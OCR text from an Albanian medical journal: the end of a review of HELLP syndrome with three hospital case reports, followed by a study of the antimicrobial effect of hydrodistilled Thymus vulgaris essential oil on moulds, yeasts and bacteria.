té gjakut, tonusin, vazospazmén dhe anomali té procesit t& koagulimit. Duket se kéto
crregullime shkaktojné démtime endoteliale mikrovaskulare dhe aktivizimin
intravaskular té trombociteve dhe si pasojé, vazospazmé, aglutinim dhe grumbullim
té trombociteve. Hemoliza dhe anemia hemolitike pércaktohen si njé shenjé e
vecanté e njé mikroangiopatie.

Jané gjetur geliza té kuge té gjakut té fragmentuara té cilat kalojné pérmes enéve té
vogla me endotel t& démtuar. Gjithashtu né pérgatitjet e gjakut jané gjetur dhe
sferocite, skizocite, geliza né formé trekéndéshi dhe gelizat Burr.
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Rritja e normave té enzimave té mélcisé mendohet se vjen pér shkak té pengesave
nga depozitimet fibrinoze né sinusoidet e mel¢isé. Kéto pengesa shkaktojné nekrozé
periportale dhe né raste té rénda mund té shkaktojné hemorragji intrahepatike dhe
hematoma subkapsulare.

Shumé autoré nuk e konsiderojné sindromin HELLP si njé variant t& koagulimit
intravaskular té& diseminuar (KID), sepse parametrat e koagulimit té tilla si koha e
protrombinés (PT), koha parciale e tromboplastinés (PTT), dhe fibrinogjeni né
serum jané normale. Klinikisht éshté e véshtiré té diagnostikohet KID, pérvecse
duke pérdorur antitrombin fibrinopeptidin 111-A, monomerin e fibrinés, D-dimerin,
2-antiplazminén, plazminogjenin, prekalikreinén, dhe fibronektinén. Por kéto teste
kérkojné kohé dhe nuk pérdoren né ményré rutiné. Sibai et al, e bén pércaktimin e
KID me trombocitopeni, fibrinogjeni <300mg/dl dhe produktet e fibrinés >40
mcg/ml. Té gjithé pacientét me sindromin HELLP mund té kené koagulopati e cila
nuk zbulohet.

Epidemiologjia dhe faktorét e riskut

Sindromi HELLP ndodh né 2-12% té shtatzanive, krahasuar me preeklampsiné qé
éshté 5-7%. HELLP mbivendosé né rreth 4-12% té grave shtatzéna me preeklampsi
apo eklampsi. Pa praniné e preeklampsisé diagnostikimi i kétij sindromi shpesh
béhet shumé voné.

FAKTORET E RISKUT PER HELLP

Multipariteti

Mosha e nénés mbi 25 vjec

Raca e bardhé

Historia familjare

Diabeti mellitus

Hipertensioni kronik

Shtatzanité e shuméfishta

Né raportin e Sibai et al, pacientét me sindromin HELLP ishin dukshém mé té vjetér
né moshé (mbi 25 vjeg) né krahasim me pacientét me preeklampsi-eklampsi pa
sindromin HELLP (nén moshén 19 vjeg). Incidenca pér kété sindromé gjithashtu
ishte mé e larté pér popullsiné e bardhé dhe multiparet.

Manifestimet klinike

Shenjat dhe simptomat né sindromin HELLP mund té jené shumé té variueshme,
madje edhe tek pacienté me preeklampsi dhe eklampsi gé nuk vuajné nga ky
sindrom.

Sibai thekson se pacientét zakonisht shfagen me dhimbje né epigaster apo né pjesén
e sipérme té djathté té barkut né 90% té rasteve dhe me nauze dhe té vjella né 50%
té rasteve, té ngjashme me njé infeksion viral. Shumica e pacientéve referojné pér
njé dobési fizike disa dité pérpara se té paragiten. Né raportin e Weinstein kéto
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simptoma vijné pér shkak té njé pengimi né rrjedhjen sinusoidale té gjakut né mélgi.
Pacientét me sindromin HELLP zakonisht kané njé rritje te vlerave mesatare té
tensionit arterial (sistoliku 160 mmHg, diastoliku 110 mmHg), por kjo dukuri nuk
haset né té gjitha rastet. Né raportin e Weinstein nga 29 pacienté, mé pak se gjysma
(13 pacienté) kishin hypertension arterial 160/119 mmHg. Pra, sindromi HELLP me
shenjat klinike gé e karakterizojné mund té shfagé véshtirési né diagnostikim pasi
shenja té tilla mund té gjenden edhe né abuzimin nga drogat, gastroenteritet,
apendicitet, glomerulonefritet, pielonefritet dhe infeksionet virale té mélgisé.

DIAGNOZA

Shumé autoré mbéshteten né vlerén e HDL dhe té bilirubinés pér té vlerésuar
hemolizén. Kriteret e pérdorura nga Universiteti i Tenesit, Memphis, pér diagnozén
e sindromit HELLP jané:

-hemoliza

-bilirubina totale >1, 2 mg/dl

-laktat dehidrogjenaza (LDH) >600 U/L

Né vlerésimin e funksionit té mélgisé: AST >70 U/L

Né vlerésimin e trombociteve: Trombocitet < 100, 000 /mm?®
DIAGNOZA DIFERENCIALE

Sic e pérmendém mé lart, shenjat dhe simptomat né sindromin HELLP jané té
variueshme dhe mund té ¢ojné né gabime diagnostike dhe ndérhyrje kirurgjikale té
panevojshme. Diagnoza diferenciale e sindromit HELLP duhet béré me:

-apendicitis

-gastroenteritis

-colecistitis

-kalkuloza renale

-pielonefritis

-ulcera peptike

-glomerulonefriti trombocitopenik idiopatik
-sindromi hemolitik uremik

-encefalopati me origjiné té ndryshme
-lupus eritematoz sistemik

KLASIFIKIMI

Jané dy sistemet e klasifikimit té pérdorura né sindromin HELLP . Klasifikimi i paré
i bazuar né sasiné e varieteteve né dispozicion. Né kété sistem, pacientét jané té
klasifikuar si sindromi HELLP i pjesshém (té paturit e njé ose dy varieteteve) ose
sindromi HELLP total (té gjitha varieteteve né dispozicion). Graté me kéto varietete

186



me risk vuajné komplikime té tilla si KID, krahasuar me femrat me sindrom HELLP
té pjesshém.

Klasifikimi i dyté éshté i bazuar né numérimin e trombociteve. Klasa e paré e
sindromit HELLP éshté ngs. numri i trombociteve éshté <50, 000 /mm?. Numri nga
50, 000 né 100, 000 i pérket Klasés sé dyté. Klasa e treté ka njé numér trombocitesh
nga 100, 000 né 150, 000/mm°. Sémundshméria dhe vdekshméria éshté mé e larté né
klasén e paré té sindromit, krahasuar me até té klasés sé dyté dhe té treté.

MENAXHIMI

1- Vlerésimi dhe stabilizimi i gjendjes sé nénés

a) Nése ka KID, merren masat pér kapércimin e koagulopatisé

b) Profilaksia antikonvulsive me MgSO,

c) Terapia pér rastet me hypertension té réndé

d) Referimi né njé gendér shéndetésore terciare

e) Tomografia e kompjuterizuar (CT) ose ultrasonografia e barkut pér

vlerésimin e hematomave subkapsulare té mélgisé

2- Vlerésimi i mirégenies fetale

a) Non-stress test

b) Profili biofizik

c) Ultrasonografi

3- Vlerésimi i pjekurisé sé mushkeérive té fetusit nése mosha gestacionale éshté
35 jave.

a) nése fetusi &shté matur béhet pérfundimi i shtatzanisé

b) nésé fetusi éshté imatur aplikohen Kkortikosteroidet dhe mé pas béhet

pérfundimi i shtatzaniseé.

Pacientet me sindromin HELLP duhet té béjné terapi ditore profilaktike me MgSO,
pér parandalimin e konvulsioneve, me ose pa hypertension, 4-6g MgSQO, bolus e
ndjekur nga infuzioni i 2g/h. Krahas késaj duhet béré monitorimi i pérgendrimit té
medikamentit dhe parandalimi i intoksikacionit. Né rast intoksikacioni aplikohet 10-
20 ml solucion glukonat kalciumi 10% i. v. Krahas pérdorimit t¢ MgSO, duhet té
fillohet terapia antihypertensive nése vlerat e presionit arterial jané mbi 160/110
mmHg. Zakonisht medikamenti i pérdorur éshté hydralazina né doza té vogla 2, 5-5
mg (doza fillestare 5 mg), cdo 15-20 minuta deri né stabilizimin e presionit arterial.
Labetaloli dhe nifedipina gjithashtu kané dhéné rezultate té mira. Diuretikét nuk
pérdoren pasi mund té ndikojné né perfuzionin placentar.

Hapi i ardhshém éshté vlerésimi i mirégenies fetale duke pérdorur non-stress test,
ose profilin biofizik, ultrasonografiné biometrike pér té vlerésuar rritjen e fetusit. Né
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fund vlerésohet nése duhet béré apo jo ndérprerja e shtatzanisé. Né pacientét pa
rrezik hemorragjie mund té kryhet amniocenteza.

Disa autoré e konsiderojné kété sindromé si tregues pér ndérprerjen e menjéhershme
té shtatzanisé me sectio cesarea, ndérkohé qé autoré té tjeré rekomandojné njé gasje
mé konservative me vazhdimin e shtatzanisé pér rastet e fetuseve imaturé, pér té
parandaluar trajtimin mé té gjaté té foshnjés nén kujdes intensiv, enterokolitin
nekrotizant dhe sindromin e distresit respirator.

Disa forma té sindromit HELLP jané pérshkruar né literaturé mé njé trajtim té
ngjashém me preeklampsiné e réndé.

Ky sindrom nuk éshté njé tregues pér sectio cesarea pérvec rasteve kur
kompromentohet mirégenia e fetusit dhe nénés. Né pacientét pa kundérindikacione
mund té lejohet linja né rrugé vaginale. Né té kundért tek té gjithé pacientét me
moshé gestacionale >32 javé mund té fillohet infuzioni me oksitocing, ndérsa pér
pacientét <32 javé me gafén e mitrés té papjekur zgjidhet sectio cesarea si ményra
mé e miré. Anestezia e pérgjithshme éshté e pérzgjedhura né kéto raste.

KOMPLIKIMET

Vdekshméria e nénave nga sindromi HELLP arriti né 1, 1% - 1, 2% pér
komplikacione serioze si KID, shkolitje té placentés, sindromi i detresit respirator,
insuficiencé hepatorenale, edema pulmonare, hematomé subkapsulare dhe rupturé e
mélgiseé.

Shifrat e vdekshmérisé foshnjore shkojné 10-60 %, pér shkak té shkolitjes sé
placentés, hypoksisé intrauterine, dhe lindjes se parakohshme.

Sindromi HELLP mund té cojé né IUGR né rreth 30% té rasteve dhe detres
respirator.

Né shérbimin e obstetriké-gjinekologji, spitali Korcé. jané evidentuar 3 raste me
Hellp Sindrom pér periudhén 2007- 2012. Dy raste me Dg. Gravidance né term dhe
njé rast Gravidance 24 javé. Né % i takon 0. 05% me lindjet (Grafiku 1), 3% me
Preeklampsité (Grafiku 2).

Rasti i paré klasifikohet né klasén e paré té Hellp Sindromit me trombocitet
36000 dhe ku éshté aplikuar menjéheré sectio cezare pasi éshté siguruar gjak
pérgjaté dhe pas interventit, jané aplikuar kortikosteroide, hemotransfuzion dhe
plazmé. Transaminazat kané gené 69 Ul, bilirubina 1. 8gr/dl, kreatinemia 1. 8gr/dl.
Rasti i dyté, klasa e paré me analiza: Trombocite 60000, Transaminazat 119 Ul,
Biliremia totale 3, 1gr/dl.
Rasti i treté klasifikohet né klasén e dyté me: Trombocite 91000, Transaminazat
85U, Biliremia totale 1, 8gr/dl.
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Né njé prej kétyre rasteve (Gr. né term) ka gené me temperaturé 38-39 gradé, né té
dy rastet gé kané gené barra né term, graté kané shfaqur képutje dhe sekrecione
hemorragjike, té dyja rastet jané zgjidhur népérmjet sectio cezare.

Grafiku 1

Totali i lindjeve

H lindje
M Hellp Syndrom

m preeklampsi

Preeklampsi/hellp syndrom

B Preeklmpsia

M Hellp syndrom

Grafiku 2

Konkluzione:

-Shkaget e vérteta té Hellp Sindromit jané ende té panjohura, por mendohet gé
koagulimi éshté thelbésor gjé gé ¢on né shkatérrimin e gelizave té kuge té gjakut dhe
konsum té trombociteve, duke béré t& mundur interesimin e mélgisé, ndérsa organet
e tjera mund té preken né ményré té ngjashme.

- Diagnostikimi i Hellp Sindrom paraget véshtirési pér shkak té ndryshueshmérisé sé
simptomave ndérmjet pacientéve dhe diagnostikimi i hershém éshté kyc né
zvogélimin e morbiditetit. E réndésishme éshté té kryhet analiza né lidhje me
koagulimin, elektrolitet, enzimat e mélcisé dhe funksioni renal.
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- Diagnostikimi sa mé i hershém i tij ul mobiditetin amtar dhe perinatal.
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VLERESIMI | VEPRIMIT ANTIMIKROBIAL TE DISA ESENCAVE TE
PERFTUARA ME HIDRODISTILIM NGA THYMUS VULGARIS

Erjon Trojal, Romina Deda, Elis Venari,
Anisa Mema, Vilma Toska, Armand Como

Pérmbledhje

Artikulli paraget njé pjesé té punés shkencore té njé grupi kérkuesisht té rinj té
udhehequr nga pedagoge me pérvoje né Fakultetin e Farmacisé sé Universitetit
Mjekésor dhe Fakultetin e Shkencave té Natyrés té Universitetit té Tiranés.
Tematika ka njé interes shkencor global, pér t& mundésuar pérdorimin e substancave
me prejardhje bimore, si: antimikrobialé natyrore, pér minimizimin e rasteve té
patologjive me origjiné mikrobiale. Studimi pérfshin zbatimin e teknikave efikase
laboratorike pér pérftimin e esencave nga bimét mjekésore té vendit, aplikimin e
teknikave té trajtimit t€ mikroorganizmave me esencat e pérftuara dhe monitorimin e
veprimeve antimikrobiale té spikatura. Esencat u pérftuan nga 7Aymusi. U pércaktua
pér cdo rast efekti antimikrobial selektiv dhe niveli optimal i tij. Rezultatet u
pérpunuan pér té evidentuar efektet me té fugishme dhe teknikat respektive. Esencat
e pérftuara me hidrodistilim né ciklet e nénta japin veprim reduktues té fugishém
ndaj baktereve Gr+ , myqgeve té gjinive Aspergillus etj.

Fjalé celés: Thymus wvulgaris, efekt antimikrobial, hidrodistilim, Aspergilus,
Penicilium

Abstract

The publication is an introduction of an experimental work, realized by a group of
new researchers leaded from the professors of the Faculty of Pharmacy, Medicinal
University of Tirana and the Faculty of Natural Sciences, University of Tirana. Their
experience in the field of the production of essential oils derived by the endemic
plants of Albania and in the technologies of the extraction was indispensible for the
achieved results. Scientific selected issue has an important global interest related to
the possibility of the use of essential oils as natural antimicrobials. Recently, the
researchers in the world are working to substitute some artificial antimicrobials with
those naturals. The aim is to reduce the negative impact of the pathologies caused by
different microbial contaminants. The study involved the application of the effective
laboratory techniques for the production of the essential oils and laboratory
manipulations to study the impact of essential oils in reducing the microbial colony
growth. Essential oils were obtained from 7hymus vulgaris. The selective
antimicrobial activity and the optimal level were determined also. The results were
used to emphasize the powerful action of the essential oils, related also with the used
extractive techniques. Essential oils produced from hydro distillation (Clevenger
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method) had a powerful action in the ninth circle of extraction toward G+ bacteria
and Ascomycetes (Aspergillus and others).

Key words: Thymus vulgaris, antimicrobial activity, hydrodistillation, Aspergilus,
Penicilium.

Hyrje

Pavarésisht ndryshimeve pozitive dhe modernizuese té aspekteve higjenike dhe
teknikave té prodhimit, siguria e produkteve ushgimore vazhdon té jeté njé céshtje
me réndési themelore né shéndetin publik. Problematika dhe prevalenca e
patologjive té lidhura me konsumimin e produkteve ushgimore, té ndotura me
patogjené, vazhdon té keté njé impakt madhor ekonomik dhe shéndetésor.

Teknologjité aktuale pér ruajtien dhe zgjatjen e afatit té skadencés sé produkteve
ushgimore pérfshijné: konservantét kimiké, proceset termike, paketimin me
atmosferé té modifikuar, vakumin ose ftohjen. Kéto teknologji kané sukses, por edhe
problematika e t& meta dhe shpesh nuk garantojné eleminimin absolut té patogjenéve
(p.sh. L. monocytogenes, Pseudomonas spp, Enterobacteria, ety.).

Nga sa u tha mé sipér, kuptohet nevoja pér metoda té reja reduktuese ose eliminuese
té patogjenéve me origjiné ushgimore, mundésisht té kombinuara me teknikat
ekzistuese. Né kété kontekst, vajrat esenciale bimore po fitojné ¢do dité e mé shumé
interes pér potencialin e tyre veprues antibakterial, antimykotik, antitoksik,
antiparazitar dhe insekticid. Suksesi i produkteve me origjiné bimore, si agjenté
shérimi ose mbrojtés, varet nga pérbérésit aktivé té tyre. Pér pérfitime maksimale
terapeutike éshté e réndésishme gé té merren bimét mjekésore, duke ruajtur
pérbérésit e tyre aktiveé.

Qéllimi i punimit t& prezantuar mé poshté, éshté paragitja e disa rezultateve té njé
pune studimore disa vjecare, né drejtim té vrojtimeve eksperimentale mbi
ekstraktimin e biméve aromatike mjekésore, studimin e aktivitetit dhe vetive
antimikrobiale "in vitro" té esencave, duke u pérgendruar tek esenca e timusit, si
bimé endemike me réndési pér vendin toné.

Ndértimi i eksperimenteve, Iéndét e para, metodat dhe aparaturat e pérdorura u
pérzgjodhén bazuar né eksperiencén dhe literaturén bashkékohore. Gjithcka u
mundésua né sajé té njé bashké&punimi shumé té ngushté midis Fakultetit té
Farmacisé dhe Fakultetit té Shkencave té Natyrés, (Departamenti i Kimisé
Industriale-grupi i Kimisé dhe Mikrobiologjisé Ushgimore dhe Departamenti i
Kimisé, grupi i Kimisé dhe Fizikés), duke arritur objektivin madhor, si: evidentimin
e potencialeve reduktuese ndaj ngarkesave té démshme té mikroorganizmave dhe
pércaktimin e kushteve gé ndikojné né inhibimet optimale. Né punén kérkimore
shkencore té realizuar né 2013, njé pjesé e sé cilés éshté paragitur né artikull, u
shfrytézua eksperienca disa vjecare né kété fushé studimi, shtriré kryesisht né
pérzgjedhjen e teknikave efikase té ekstraktimit, pércaktimin e numurit optimal té
cikleve té ekstraktimit dhe njékohésisht veprimeve inhibuese mbi grupe té vecanta
ndotésish mikrobialé.
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Materiale dhe Metoda

Si kampionatura, fillimisht, u pérdor ajér i zonave me shkallé té€ ndryshme ndotjeje
né gytetin e Tiranés, sidomos zona mjedisore afér tregjeve, spitaleve, zona té
populluara, etj. Kéto jané zona mjedisore, potencialisht mbartése té ngarkesave té
vecanta mikrobiale, prania e té cilave lidhet me mbipopullimin, aktivitete té vecanta
zonale, etj. Emértimi ‘“kampionaturé” fillestare lidhet pikérisht me faktin se kjo
mund té quhet “kampionaturé e kampionaturés”, prej saj kryhen izolimet e
ngarkesave mikrobiale gé do té pérdoren pér testimin e esencave té Thymus.

Zonat u emértuan fillimisht té plota e me té gjitha karakteristikat gjeografike lokale,
por né grafiké paragiten té kodifikuara.

Aplikimi i teknikave taksonomike siguroi ‘kampionet” e drejtpérdrejté pér
eksperimentim, mikroorganizma me karakteristika té ndryshme morfologjike, si:
baktere, maja e myqge. Pérzgjedhja e tyre u bé pas pércaktimit té numurit té
pérgjithshém té ngarkesave mikrobiale. Si kriter pérzgjedhjeje u pérdor pikérish
veprimi negativ i kétyre ngarkesave té pranishme né ajér dhe té transmetuara mé pas
te ushgimet dhe njerézit si kontaminanté me shkallé té ndryshme risku, problematike
pér shéndetin e shkaktaré té formave alergjike apo sémundjeve specifike.

Duke patur parasysh qé dominimi né ajér i ngarkesave é&shté lehtésisht i
vlerésueshém me metoda té thjeshta si ajo e “shiut mikrobik™, izolimi fillestar i
shtameve u bé duke pérdorur kété metodé né mjediset e renditura né tabelén 1. U
pérzgjodhén 10 zona izolimi dhe u pérdorén terrenet MPA (mish-pepton-agar ), me
ekstrakt mishi dhe PDA (patate-dekstroz-agar), i pasur me amidon dhe dekstrina, pér
té mundésuar izolimin e grupeve té baktereve dhe té& Ascomiceteve. Ngarkesat e
pérgjithéshme té evidentuara né mjediset e zgjedhura u shprehén né CFU
(colony/unit-koloni pér njési).

Gjinité dhe speciet e izoluara dhe identifikuara prej mjediseve mé sipér e té
pérdorura si material prove renditen mé poshté:

Aspergillus niger

Aspergillus niger éshté njé myk gé konsiderohet si ndotés ushgimesh, por edhe qé
shkakton té ashtuquajturén sémundjen e mykut té zi te frutat dhe perimet sidomos te
rrushi dhe gepa. Tekgepét myku i zi éshté sémundje qé zgjat e pas procesit té
mbledhjes. Aspergillus niger, sikurse dhe specie té tjera té késaj gjinie, konsiderohen
shkaktaré té sémundjeve te njeriu, pér shembull infeksionet mykore té veshit té
quajtura otomykoza gé shkaktojné dhimbje dhe humbje té pjeséshme té dégjimit dhe
né rastet mé té rénda démtime té membranés sé timpanit dhe kanalit té veshit.

Aspergillus flavus

Aspergillus flavus éshté njé myk pathogjen gé gjendet te drithérat dhe leguminozet.
Ai prodhon sasi t&¢ médha toksinash gé njihen me emrin mykotoksina dhe gé e
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shfaqin toksicitetin e tyre kur konsumohen prej gjitaréve. Pér kété arsye, megjithése
Aspergillus flavus gjendet si njé myk saprofit né toké te njerézit dhe kafshét
konsiderohet patogjen. Sémundja gé shkakton éshté aspergiloza gé prek sidomos
individé me sistem imunitar té dobét apo té kompromentuar. Ky myk si mikrofloré e
drithérave té rritur né lagéshti t¢ madhe prodhon aflatoksinén. Madje te gjitarét ky
myk mund té shkaktojé sémundje tumorale té mélcisé pér shkak té konsumit té
farave té kontaminuara ose thjesht Aspergilozé, kur sasia e mykut té prodhuar éshté
e madhe. Referuar karakteristikave mikrobiologjike, kolonité né sipérfagen e tyre
paragesin njé masé homogjene lehtésisht té pluhurézuar me spore té verdha né té
gjelbért, ngjyré té cilén ia transmeton gjithé kolonisé né pjesén e sipérme, kurse né
anén e kundért jep njé ngjyré té verdhé gqé merr shpesh dhe nuancé si né té kuge.
Myku formon spore gé quhen konidiespore dhe jané spore aseksuale. Eshté
identifikuar njé formé e Aspergillus flavus e quajtur petronices, gé ka riprodhim
seksual dhe ku askosporat formojné njé micel shumé té dendur qé quhet sklerocie.
Né bazé té sklerocieve té prodhuara ekzistojné llojet L dhe S, lloji L me dendési mé
té madhe dhe lloji S me dendési mé té vogél, gé prodhojné aflatoksinat b; dhe b,.
Fillimisht sklerociet mbijné, prodhojné hife shtesé dhe konidie, nése prodhohen né
toké ato shpérndahen prej andej me erén dhe insektet, infektojné grurin dhe
leguminozet, p.sh. sporet infektojné kallirin e misrit dne pérhapen né gjethe duke
démtuar dhe kéto té fundit. Né kété ményré ka njé rritje progresive té démit.

Démi éshté mé i shprehur né prodhimin e aflatoksinave té cilat pér shkak té
konsumit té produkteve té démtuara me Aspergillus flavus prekin mélgine,
shkatérrojné gelizat indore apo japin devijacione tumorale. Pér kété arsye, sot té
gjitha produktet me orgjiné nga drithérat apo leguminozet si dhe produkte té tjera me
origjiné shtazore si psh quméshti, vlerésohen nga pérmbajtja e aflatoksinave .

Nga studimet e deri tanishme éshté provuar qé kur Aspergillus flavus rritet né arra,
lajthi, kikiriké, fruta drusore, etj., prodhon pérmbajtje té larté aflatoksinash kur
temperaturat jané té larta dhe ka lagéshti. Kur Aspergillus flavus rritet né eréza té
thata pérmbajtja e aflatoksinave é&shté shumé e vogél (shembull i veprimit
antimykotik té pérbérésve kimik té erézave).

Chrysonilia sitophila

Chrysonilia sitophila éshté njé myk gé konsiderohet si njé formé aseksuale e
Neurospora sitophiles e cila éshté provuar me teste klinike dhe mikrobiologjike gé
shkaktojné simptoma té astmés né traktin respirator dhe simptoma oftalmologjike
gé jané praktikisht té identifikuara me véshtirési si forma alergjike té& veprimit té
mykut Chrysonilia sitophila. Kéto forma jané evidentuar te pacienté gé mbartin
forma aeroalergjenike, pozitive ndaj polenit apo formave té tjera. Shembujt mé
tipiké jané evidentuar te njeréz gé pér njé kohé té gjaté jané ekspozuar ndaj
proceseve té bluarjes sé kafesé. Ky myk pérhapet né zona pérreth barérve ose
kompanive té kafesé dhe prek sidomos persona né kontakt t& vazhdueshém me té,
ndérkohé qgé ka pérhapje té dukshme dhe né ajér. Aktualisht njihet si alergjeni OAS
(occupational astma) e industrisé sé kafesé. Diagnozat jané véné duke marré né
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konsideraté lidhjen midis ekspozimit ndaj pluhurit dhe simptomave respiratore
{testet SPT (skin prick test)} dhe testi PEFR (peac expiratory flow rate). Gjinia
Chrysonilia dhe specia e saj sitophila konsiderohet ndér té tjera dhe si myk i bukés
me njé ngjyré bezhé né rozé. Specia formon spore té thata qé pérhapen shumé né
mjedis dhe gé shpesh jané problematike sepse béjné ndotjen e laboratoréve
mikrobiologjike.

Studimi i ploté ka njé kampionaturé ngarkesash mikrobiale shumé té madhe.
Késhtu, ndér té tjera u verifikua edhe veprimi inhibues i esences ndaj majasé
Rhodotorula glutinis dhe bacileve ndotése tipike Bacillus megatherium.

Referuar esencave té pérzgjedhura u pérdorén ato té prodhuara me hidrodistilim nga
Thymus vulgaris L. imusi), té siguruara nga Departamenti i Farmacisé, Laboratori i
Farmakognozisé dhe distributoré té certifikuar nga tregu vendas i biméve mjekésore.
Materiali bimor u pérdor pér té pérftuar esencén népérmjet hidrodistilimit. Pér té
optimizuar procesin e ekstraktimit u bé grimcimi uniform i materialit bimor.
Ekstraktimi u bé sipas metodikave té pérshkruara né Farmakopené Europiane dhe
Procedurat Standarde té OBSH-sé. U pérdor aparat distilimi tip Clevenger. Distilimi
u krye me shtim hekzani. Hekzani u pérdor ndér té tjera edhe sepse nga provat e
béra me tretésin e pastér, rezultoi inert ndaj mikroorganizmave.

Vlerésimi i veprimit antimikrobial u bé duke aplikuar testin Kirby - Bauer ( test i
difuzionit né disk) dhe duke matur diametrat e kolonive mikrobiale té patrajtuara
dhe diametrat e kolonive mikrobiale té trajtuara me esence, respektivisht Dk dhe
Dke.

Rezultate dhe diskutime

Izolimi dhe identifikimi i ngarkesave té pérzgjedhura mikrobiale, u bé referuar
teknikave klasike dhe metodave taksonomike. Né kété rubriké té artikullit do té
interpretohen disa nga rezultatet e pérftuara. Esencat u pikuan mbi kolonité e
zhvilluara paraprakisht si kultura 48 oreshe. Pér pikim u pérdorén 0.2 ul esenca té
paholluara, esenca té holluara me hekzan né masén 50% dhe ujéra aromatike té
mbetur pas marrjes sé esencave , té cilét u provuan pasi teknikisht ishin mbartés té
komponimeve organike me veprim antimikrobial potencial.

Diskutimi i detajuar i rezultateve paragitet si vijon: Veprimi i esencés sé pérftuar né
njé proces distilimi 1 dhe 3 oré mbi mykun Aspergilus niger éshté evidentuar
efikas, por duke gené se myku éshté shumé i pérhapur dhe rezistent, efektiviteti nuk
mund te konsiderohet maksimal, referuar shkallés sé& zhvillimit t&é kolonive té
inhibuara paraprakisht.

Esenca e pérftuar me hidrodistilim paragitet shume efektive dhe me veti té mira
antimikrobiale ndaj mykut Aspergilus flavus, (Fig. 1). Figura ofron ndér té tjera
edhe rezultat krahasues, kur jané pérdorur bashké me esencén edhe ujérat aromatike
té dala nga proceset ekstraktuese, gé sikurse shihet paragesin veprim antimikrobial,
por shumé mé té vogél se veté esenca. Zhvillimi i Aspergillus flavus inhibohet
shumé fugishém me diametrat: Dk=31; Dke=29( terren i léngét) ; Dk ujéra
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aromatike=24; Dke-koloni e ngurté-0. Provat e béra dhe krahasimi i diametrave té
kolonive té zhvilluara treguan qé Aspergillus flavus inhibohet fugishém edhe me
esencé té holluar, ndérkohé gé pérbérésit kimiké té mbetur né ujérat aromatiké pas
hidrodistilimit ushtrojné njé veprim inhibues me 33% té diametrit fillestar kundrejt
inhibimit total prej esencés sé holluar.

Inhibimi i Chrysonilia citophylia (Fig.2) éshté i ploté si me ujérat aromatike, ashtu
edhe me esencén e holluar. Kjo tregon gé myku ka shkallé shumé té larté
ndjeshmérie dhe ka eliminim total edhe nga ujérat, gjé gé nuk vrojtohet né shumicén
e kulturave té testuara. Né aplikimin e teknikave inhibuese, ndér té tjera te ky myk u
shfagen bashkéjetesa metabiotike me ngarkesa t€ tjera mykore, gjé q€ mbetet pér t'u
studiuar hollesisht.

Inhibimi i majasé Rhodotorula glutinis ( Fig.3) paraget vecorité mé poshté:

Rhodotorula zhvillohet veté, por paraget pigmentim shumé té dobét, ngjyré rozé
e zbehté gé nuk lidhet me terrenin. Krahasuar me pikimin me esencé né ruajtje,
esenca e freskét mund té& mbajé pérbérés kimike volatile gé largohen me kohén
dhe gé prekin direkt pigmentet kromofore (3 karotene, pra veprimi i esences
dobéson shkallén e pigmentimit té kolonive.

Ujérat inhibojné minimalisht me njé rreth té zbardhur rrotull kolonisé.

Esenca e holluar shfag veprim inhibues mesatar, referuar diametrit té njollés sé
formuar.

Grafiku i Fig. 4., paraget dukshém shkallén e veprimit inhibues té esencés sé
pérftuar me hidrodistilim t& 7hymus vulgaris mbi 14 koloni mikroorganizmash. Né
grafik sipérfagja e thyer me ngjyré té errét paraget gjithé inhibimet gé rezultojné prej
veprimit té esences mbi kolonité né studim. Diferencat e diametrave duken garté
duke krahasuar 2 sipérfaget e paragitura dhe vlerat numerike té diametrave té matur.

Pérfundime dhe rekomandime

Vajrat esencialé t& pérftuar me hidrodistilim paragesin veti shumé té mira
antimikrobiale ndaj ngarkesave bakteriale ndotése, mygeve dhe majave.

Esencat e pérftuara nga “7Thymus vulgaris” me hidrodistilim paragesin njé veprim
inhibues-eliminues shumé té spikatur, i cili varet jo vetém nga forma e pérftimit té
esencés, por edhe nga lloji i mikroorganizmit qé pérballet me veprimin e esencés.

Efekt té fugishém inhibues ofron esenca tri oréshe me hidrodistilim, por inhibuese
jané edhe esencat njé oreshe dhe ujérat aromatike.

Edhe ujérat aromatike té mbetur pas pérftimit té€ esencave paragesin efekt inhibues,
por mé té vogeél se té veté esencave. Megjithaté, kjo tregon gé edhe kéto ujéra nuk
mund té neglizhohen.

196



Mikroorganizma shumé té ndjeshém jané ngarkesat bakteriale sidomos tipi i
bacileve ndotés té pigmentuara Gr+, me ngjyré té verdhé apo grupi i Bacillus
megatherium, ndotés tipik bakterial mjedisor, por jo patogjen.

Veprimi inhibues mbi kolonité e mygeve éshté shumé i dukshém, éshté evidentuar
pothuaj mbi té gjithé myqget e izoluara né mjedise té hapura dhe mjedise spitalore.
Rezultati tashmé éshté i konfirmuar, bazuar né eksperimentet e kryera né vitin 2012.

Myget gé inhibohen fugishém jané shkaktaré t€ kandidozave, si: Aspergillus
candidus, shkaktuesit e aflatoksinave, myqget e drithérave té lagéshta si Aspergillus
flavus dhe i ashtuquajturi myk ndotés i laboratoréve, gé rritet né mjedise e produkte
ushgimore me vlera té ulta té au (vende té thata, zonat ku piget kafeja, etj.),
Crysonilia cytophila.

Efekti inhibues i esencave mbi myget shfaget né disa forma:

- mbi veté madhésiné e kolonisé, i shprehur pérmes raportit té diametrave té
kolonive té trajtuara dhe té patraftuara me esencé;

- mbi organet e fruktifikimit, ku myku i trajtuar zhvillohet veté, por jo organet e
fruktifikimit, mungesa e té ciléve shfaget edhe me mungesén e ngjyrave té kolonisé
Sé trajtuar;

- mbi hifet ajrore, duke zvogéluar numrin e hifeve ajrore te kolonité e trajtuara
krahasuar me ato té patrajtuara pér té njéjtén kohé té inkubimit né termostat né 28-
30°C, pér myqget mezofile.

Veprimi mbi pigmentet kromofore béhet shumé i dukshém te majaja Rhodotorula
glutinis, ku majaja e trajtuar me esencé zbeh ngjyrén portokalli, karakteristike pér
shkak té pranisé sé [ karoteneve gelizore. Ngjyra béhet rozé e zbehté edhe né
terrenin PDA, ku kjo maja zhvillohet zakonisht me ngjyré té kuge karakteristike, qé
stimulohet prej pranisé sé poliozeve té tipit amidon. Sugjerohet né té ardhmen njé
punim shkencor gé do té fokusohet né studimin e efektivitetit t& veprimit té
esencave mbi ngarkesa ndotése psikrofile dhe mikroorganizmat e mjediseve
frigoriferike. Sugjerohet, gjithashtu, studimi i veprimit inhibues té esencave te
ngarkesat bakteriale osmofile dhe termotolerante.
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Tabela 1. Pércaktimi i ngarkesés sé pérgjithshme té mikroorganizmave né
mjedise té hapura me ndotje potenciale

Nr. Mjedisi MPA  MPA MPA PDA PDA PDA
(24h),  (48h), (7 dite), (24h), (48h), (7
CFU CFU CFU CFU CFU dite)
CFU
Materniteti 0 26 7 20
1
